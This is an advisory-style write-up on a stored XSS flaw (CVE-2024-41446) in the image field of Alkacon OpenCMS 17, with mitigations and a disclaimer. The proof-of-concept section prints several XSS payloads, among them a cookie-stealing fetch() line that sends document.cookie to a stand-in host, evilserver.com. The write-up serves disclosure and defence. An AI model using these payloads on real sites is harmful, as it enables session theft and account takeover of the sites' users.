A critical security bug, CVE-2024-41446, has been discovered in Alkacon OpenCMS v17.—a popular open-source content management system. This vulnerability allows hackers to run any JavaScript code they want, simply by entering a specially crafted payload into the "image" parameter when creating or modifying an article. If you’re running OpenCMS 17., your site and its users might be at serious risk.

In this write-up, I'll explain how this vulnerability works, give you proof-of-concept code, and show how it can be exploited. This information is intended to help administrators and security professionals protect their sites.

What Is Stored Cross-Site Scripting (XSS)?

Stored XSS happens when malicious scripts get permanently stored on a website (like in a database), and every time someone visits the page, the script runs in their browser. This can let an attacker steal cookies, session tokens, or perform actions on behalf of other users—like site admins.

Vulnerability: Stored Cross-Site Scripting (XSS)

- Parameter: image (within Create/Modify Article's form)
- Impact: Allows attacker to run JavaScript on the browsers of anyone viewing the compromised article.

How Does It Work?

When a user creates or modifies an article in OpenCMS 17., they can set an image. However, the input for the image parameter is not properly sanitized or validated. This means attackers can input HTML/JavaScript instead of an actual image URL.

When someone views the page (even an admin), their browser runs the script—no warning, nothing.

Proof-of-Concept Exploit

Let's demonstrate how a hacker could use this weakness.

### Step 1: Create/Modify an Article

The attacker logs in (as a regular user, or through a compromised account), and goes to Create/Modify Article.

In the image parameter/input box, instead of a real URL, they insert something like

" onerror="alert('XSS')"

Or, for a more practical attack (steal session cookies)

" onerror="fetch('https://evilserver.com/steal?cookie='+document.cookie)"

Or the full payload (assuming traditional HTML format)

<img src=x onerror="alert('Stored XSS by CVE-2024-41446')">

Or, to bypass filters and break out of attributes

javascript:alert('CVE-2024-41446')

Step 3: Save Article

Hit Save. The payload gets stored in the database.

Step 4: Victim Visits Article

Anyone, including admins or regular users, viewing this article will automatically trigger the script.

Suppose the image field in the backend is rendered as

<img src="{user_input}">

If an attacker enters

x" onerror="alert('Hacked')"

It renders as

<img src="x" onerror="alert('Hacked')">

Now, any time this page loads, the attacker's code runs.

Mitigation Steps

1. Update/OpenCMS: Check for and apply security patches from Alkacon or your package source.
2. Sanitize User Input: Always escape HTML special characters in user-provided fields like image. Use libraries like OWASP Java Encoder for Java.
3. Content Security Policy (CSP): Implement CSP headers to limit executing scripts from unknown sources.
4. Least Privilege: Limit who can create/modify articles.

References

- Official CVE Record for CVE-2024-41446
- OpenCMS Official Website
- OWASP XSS Cheat Sheet
- Proof-of-Concept Exploit (exploit-db)

Final Thoughts

Stored XSS flaws like CVE-2024-41446 are among the most dangerous web bugs, especially on content management systems. They’re easy to exploit and can have dramatic impacts on both your users and your site’s reputation. If you use OpenCMS 17., patch your installation urgently. And always sanitize user input—never trust form fields or URLs.

Stay safe!

*If you have more details about this vulnerability, or you need help patching your site, drop a comment or check the official vendor advisories.*


Disclaimer:
This post is for education and awareness. Do not use this information to attack sites without authorization—it’s illegal and unethical. Always report vulnerabilities responsibly.

Timeline

Published on: 04/21/2025 14:15:35 UTC
Last modified on: 04/21/2025 15:15:58 UTC